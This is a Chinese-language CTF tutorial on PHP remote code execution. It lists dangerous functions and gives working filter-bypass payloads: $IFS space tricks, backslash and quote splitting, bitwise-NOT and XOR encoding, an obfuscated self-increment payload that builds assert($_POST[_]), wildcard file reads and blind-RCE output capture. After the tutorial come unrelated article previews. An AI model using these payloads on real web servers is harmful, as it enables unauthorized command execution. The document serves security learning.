当前位置：首页 > news >正文

RCE漏洞学习

news 来源：原创 2025/9/13 7:04:36

1，What is RCE？

在CTF（Capture The Flag）竞赛中，RCE漏洞指的是远程代码执行漏洞（Remote Code Execution）。这类漏洞允许攻击者通过某种方式在目标系统上执行任意代码，从而完全控制目标系统或获取敏感信息。RCE漏洞通常是非常严重的漏洞，因为它们可以直接导致系统被攻陷。

2，How to find a RCE？

要能执行漏洞，那就肯定要了解能执行漏洞的函数

1.系统命令执行函数

system()：能将字符串作为OS命令执行，且返回命令执行结果；
exec()：能将字符串作为OS命令执行，但是只返回执行结果的最后一行(约等于无回显)；
shell_exec()：能将字符串作为OS命令执行
passthru()：能将字符串作为OS命令执行，只调用命令不返回任何结果，但把命令的运行结果原样输出到标准输出设备上；
popen()：打开进程文件指针
proc_open()：与popen()类似
pcntl_exec()：在当前进程空间执行指定程序；
反引号``：反引号``内的字符串会被解析为OS命令；

2.代码执行函数

eval()：将字符串作为php代码执行；
assert()：将字符串作为php代码执行；
preg_replace()：正则匹配替换字符串；
create_function()：主要创建匿名函数；
call_user_func()：回调函数，第一个参数为函数名，第二个参数为函数的参数；
call_user_func_array()：回调函数，第一个参数为函数名，第二个参数为函数参数的数组；
可变函数：若变量后有括号，该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行；

For example

[SWPUCTF 2021 新生赛]babyrce

从php代码可以知道要让admin的cookie等于1

然后尝试访问这个php文件

一个典型的rce注入，过滤了空格，可以用$IFS$6绕过

然后我们就可以进行命令执行，在根目录下找到了flag

这样一道简单的RCE就做完了（我说白了，我白说了，这才像新生题）

这样也可以看出来，RCE就是靶机上会给出命令执行函数（一般情况下），再加上一些过滤就构成了一般的RCE（二般的我不敢说话）

3，RCE by pass

由此可见RCE的绕过方式相当重要，那我问你，你学不学

1，逻辑运算符

由于php是在c语言上衍生的一门编程语言，所以逻辑运算符是与c差不多的

逻辑运算符	例子	描述
&	A&B	执行A和B
&&	A&&B	当A为真时执行B
；	A;B	从左到右执行AB
\|	A\|B	显示B的执行结果
\|\|	A\|\|B	当A为假时执行B

以pikachu靶场为例(因为靶机时windows系统，所以用dir查看命令

（| 只显示后一个命令的执行）

（&两个都执行）

2，空格绕过

这里有如下几种方式

$IFS$6,${IFS}
< 重新定向符例子 cat</etc/passwd
\t，%09（水平制表符）
%20，\x20 url解码和16进制中的空格

例题 [MoeCTF 2021]babyRCE

可以看到过滤了空格和一些系统命令，这里的空格只有用第一中方式

然后cat等命令用下面要将的反斜杠绕过

3，反斜杠\绕过

如上题所示，当面对一些系统命令被过滤掉，而反斜杠没有被过滤，就可以用这钟绕过

如 cat-->c\at flag-->fl\ag

4,取反绕过

什么是去取反？

php语言中"~$a"会将变量a的值取反将字符或字符串进行按位取反，从而生成新的字符或字符串。(比如0101 --> 1010)

而利用方法就是先取反，在取回来就行了（适用于~没有被过滤）

所以就可以用

?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

作为传递的参数

5,异或绕过

我们都知道异或运算符^

而效果就是 1001^0111=1110 即对应位相同为0，不同为1，而且这个运算是可逆的

所以我们可以通过用异或运算的方法来绕过

比如 a='system'^'whatcanisay'

那我们要得到system就要传入a^'whatcanisay'就行了

6，自增绕过

这个相当有趣

比如我们令$_=[],这样就会得到一个名为_的空数组

而在php中，创建数组用Array

那我们输出echo "$_"会怎么样

这样就从无字符到有字符了，再用$_="$_",配合上@==&返回0,所以就能访问到A

再将A赋值给$_,并自增

现在发现$_变成了B（ASCII值＋1）

原理懂了我们直接看payload

//自增payload，assert($_POST[_]),命令传入_$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

这不就稳稳拿下了吗

7，变量拼接

有些时候我们也可以自己命名一个变量

比如变量cmd中会正则匹配flag字符串

那我们就可以传入?a=flag&cmd=cat $a

同时也可以字符串拼接，比如s.y.s.t.e.m

8,base和hex编码绕过

之前学的管道符|就发挥作用了，比如我我们将system用base64编码，传入后再用base64解码不久可以了吗？

总之，这两种方法的思想无异于就是先转为16进制或者base再转回来

9，正则匹配绕过

//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}

这三种都是shell通配符

10，引号绕过

//如cat、ls被过滤
ca""t /flag
l's' /

感觉与反斜杠绕过同理，就是将关键词分隔开

11，命令替换

如果cat被过滤了还可以用如下的东西替代

12，回溯绕过

适用于php正则匹配绕过

//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False

13，无回显RCE

//无回显RCE，如exce()函数，可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\at /flag`;)

RCE漏洞学习

1，What is RCE？ 在CTF（Capture The Flag）竞赛中，RCE漏洞指的是远程代码执行漏洞（Remote Code Execution）。这类漏洞允许攻击者通过某种方式在目标系统上执行任意代码，从而完全控制目…...

编程日记 2025/9/13 7:04:36

青少年编程考试 CCF GESP图形化编程三级认证真题 2025年3月

图形化编程三级 2025 年 03 月一、单选题（共 15 题，每题 2 分，共 30 分） 1、2025 年春节有两件轰动全球的事件，一个是 DeepSeek 横空出世，另一个是贺岁片《哪吒 2》票房惊人，入了全球票房榜…...

编程日记 2025/9/11 2:19:25

一、绪论（Introduction of Artificial Intelligence）

写在前面： 老师比较看重的点：对问题的概念本质的理解，不会考试一堆运算的东西，只需要将概念理解清楚就可以，最后一个题会出一个综合题，看潜力，前面的部分考的不是很深，不是很难&…...

编程日记 2025/9/11 22:58:45

## Jailbreaking GPT-4V via Self-Adversarial Attacks with System Prompts ➡️ 论文标题：Jailbreaking GPT-4V via Self-Adversarial Attacks with System Prompts ➡️ 论文作者：Yuanwei Wu, Xiang Li, Yixin Liu, Pan Zhou, Lichao Sun ➡️ 研究机…...

编程日记 2025/9/6 12:20:07

漏洞报告：多短视频平台时间差举报滥用漏洞

漏洞标题：跨平台内容发布时序漏洞导致的恶意举报攻击向量漏洞类型：逻辑缺陷/滥用机制漏洞等级：中高风险漏洞描述： 攻击者可利用多平台内容发布时间差，伪造原创证明对合法内容发起恶意举报。该漏洞源于平台间缺乏发…...

编程日记 2025/9/13 7:04:35

【LINUX】学习宝典

一.Linux系统常用单词翻译 1.new folder 新建文件夹 2.paste 粘贴 3.select all 全选 4.open in terminal 打开终端/命令行 5.keep aligned 保持对齐 6.organize deaktop by name按名称组织桌面 7.change background更改背景 8.cancel 取消 9.create创造创建 10.wal…...

编程日记 2025/9/12 22:51:46

青少年编程考试 CCF GESP图形化编程四级认证真题 2025年3月

图形化编程四级 2025 年 03 月一、单选题（共 10 题，每题 2 分，共 30 分） 1、2025 年春节有两件轰动全球的事件，一个是 DeepSeek 横空出世，另一个是贺岁片《哪吒 2》票房惊人，入了全球票房榜…...

编程日记 2025/9/11 14:06:50

学习海康VisionMaster之平行线查找

一：进一步学习了今天学习下VisionMaster中的平行线查找，这个还是拟合直线的衍生应用，可以同时测量两条线段，输出中线二：开始学习 1：什么是平行线查找？ 按照传统的算法，必须是开两…...

编程日记 2025/9/8 6:23:08

小甲鱼第004讲：变量和字符串（下）| 课后测试题及答案

问答题: 0. 请问下面代码有没有毛病，为什么? 请问下面代码为什么会出错，应该如何解决？ 答:这是由于在字符串中，反斜杠()会与其随后的字符共同构成转义字符。为了避免这种不测情况的发生，我们可以在字符串的引号前面…...

编程日记 2025/9/11 9:24:51

2025 蓝桥杯省赛c++B组个人题解

声明本题解为退役蒻苟所写，不保证正确性，仅供参考。花了大概2个半小时写完，感觉比去年省赛简单，难度大概等价于 codeforces dv4.5 吧菜鸡不熟悉树上背包，调了一个多小时题目旁边的是 cf 预测分所有代码均以通…...

编程日记 2025/9/9 1:31:01

2025蓝桥杯算法竞赛深度突破：创新题型与高阶策略全解析

一、新型算法范式实战 1.1 元启发式算法应用（预测难度：★★★★） 题目场景：星际货物装载需在飞船载重限制下选择最优货物组合，引入遗传算法解决NP-Hard问题： 染色体编码：二进制串表示货物选择…...

编程日记 2025/9/13 7:04:03

网络流量管理-流（Flow）

1. 传统网络的问题：快递员送信模式想象你每天要寄100封信给同一个朋友，传统网络的处理方式就像一个固执的快递员： 每封信都单独处理：检查地址、规划路线、盖章、装车…即使所有信的目的地、收件人都相同，也要重复100…...

编程日记 2025/9/7 13:27:48

Spring Boot对接马来西亚股票数据源API

随着对东南亚市场的兴趣日益增长，获取马来西亚股票市场的实时和历史数据变得尤为重要。本文将指导您如何使用Spring Boot框架对接一个假定的马来西亚股票数据源API（例如，StockTV API），以便开发者能够轻松访问和处理这些…...

编程日记 2025/9/8 1:28:48

MySQL 面经

1、什么是 MySQL？ MySQL 是一个开源的关系型数据库，现在隶属于 Oracle 公司。是我们国内使用频率最高的一种数据库，我本地安装的是比较新的 8.0 版本。 1.1 怎么删除/创建一张表？ 可以使用 DROP TABLE 来删除表，使用…...

编程日记 2025/9/12 17:58:37

【Flink运行时架构】作业提交流程

本文介绍在单作业模式下Flink提交作业的具体流程，如下图所示。客户端将作业提交给YARN的RM；YARN的RM启动Flink JobManager，并将作业提交给JobMaster；JobMaster向Flink内置的RM请求slots；Flink内置的RM向YARN RM请求…...

编程日记 2025/9/13 7:04:04

【AutoTest】自动化测试工具大全（Java）

😊 如果您觉得这篇文章有用 ✔️ 的话，请给博主一个一键三连 🚀🚀🚀 吧 （点赞 🧡、关注 💛、收藏 💚）！！！您的支持 &#x…...

编程日记 2025/9/10 19:54:37

当DRAM邂逅SSD：新型“DRAM+”存储技术来了！

在当今快速发展的科技领域，数据存储的需求日益增长，对存储设备的性能和可靠性提出了更高的要求。传统DRAM以其高速度著称，但其易失性限制了应用范围；而固态硬盘SSD虽然提供非易失性存储，但在速度上远不及DRAM。为了解…...

编程日记 2025/9/11 11:05:01

【算法】快速排序

算法系列六：快速排序一、快速排序的递归探寻 1.思路 2.书写 3.搭建 3.1设计过掉不符情况（在最底层时） 3.2查验能实现基础结果（在最底层往上点时） 3.3跳转结果继续往上回搭 4.实质二、快速排序里的基准排序 …...

编程日记 2025/9/11 16:05:37

Python快速入门指南：从零开始掌握Python编程

文章目录前言一、Python环境搭建🥏1.1 安装Python1.2 验证安装1.3 选择开发工具二、Python基础语法📖2.1 第一个Python程序2.2 变量与数据类型2.3 基本运算三、Python流程控制🌈3.1 条件语句3.2 循环结构四、Python数据结构🎋…...

编程日记 2025/9/11 11:52:58

机器学习中的数学（PartⅡ）——线性代数：2.1线性方程组

概述： 现实中很多问题都可被建模为线性方程组问题，而线性代数为我们提供了解决这类问题的工具。先看两个例子： 例子1： 一家公司有n个产品，分别是，生产上述产品需要m种原料，每个产品需要其中一…...

编程日记 2025/9/9 15:56:13

大模型上下文协议MCP详解（2）—核心功能

编程日记 2025/9/8 15:48:19

检测到目标URL存在http host头攻击漏洞

漏洞描述修复措施方法一： nginx 的 default_server 指令可以定义默认的 server 去处理一些没有匹配到 server_name 的请求，如果没有显式定义，则会选取第一个定义的 server 作为 default_server。 server {listen 80 default_server; …...

编程日记 2025/9/6 18:04:38

【 Beautiful Soup (bs4) 详解】

引言 Beautiful Soup 是 Python 最流行的 HTML/XML 解析库，能够从复杂的网页文档中高效提取数据。以下是其核心知识点及示例代码。一、库简介 1. 核心模块 BeautifulSoup：主类，用于构建文档树结构Tag：表示 HTML/XML 标签的对象…...

编程日记 2025/9/12 20:38:40

Cuto壁纸 2.6.9 | 解锁所有高清精选壁纸，无广告干扰

Cuto壁纸 App 提供丰富多样的壁纸选择，涵盖动物、风景、创意及游戏动漫等类型。支持分类查找与下载，用户可轻松将心仪壁纸设为手机背景，并享受软件内置的编辑功能调整尺寸。每天更新，确保用户总能找到新鲜、满意的壁纸。大小&am…...

编程日记 2025/9/13 7:04:04

人工智能之数学基础：复矩阵

本文重点复矩阵是线性代数中以复数为元素的矩阵，是实矩阵在复数域上的自然推广。与实矩阵相比，复矩阵在数学性质、运算规则和应用场景上具有独特性，尤其在量子力学、信号处理、控制理论等领域发挥关键作用。复矩阵的定义与表示定义：复矩阵指的是元素含有复数的矩阵。…...

编程日记 2025/9/9 12:00:54

numpy初步掌握

文章目录一、前言二、概述2.1 安装2.2 基础三、数组3.1 数组创建3.1.1 从已有数据创建3.1.2 创建特殊值数组3.1.3 创建数值范围数组3.1.4 随机数组生成3.1.5 其他 3.2 数组属性四、数组操作4.1 索引/切片4.2 数组遍历4.3 修改形状4.4 更多五、数组运算5.1 常规运算5.2 广播…...

编程日记 2025/9/13 3:58:48

unity曲线射击

b站教程 using UnityEngine; using System.Collections;public class BallLauncher : MonoBehaviour {public float m_R;public NewBullet m_BulletPre;public Transform m_Target;private void Start(){StartCoroutine(Attack());}private void OnDestroy(){StopAllCoroutine…...

编程日记 2025/9/12 21:03:32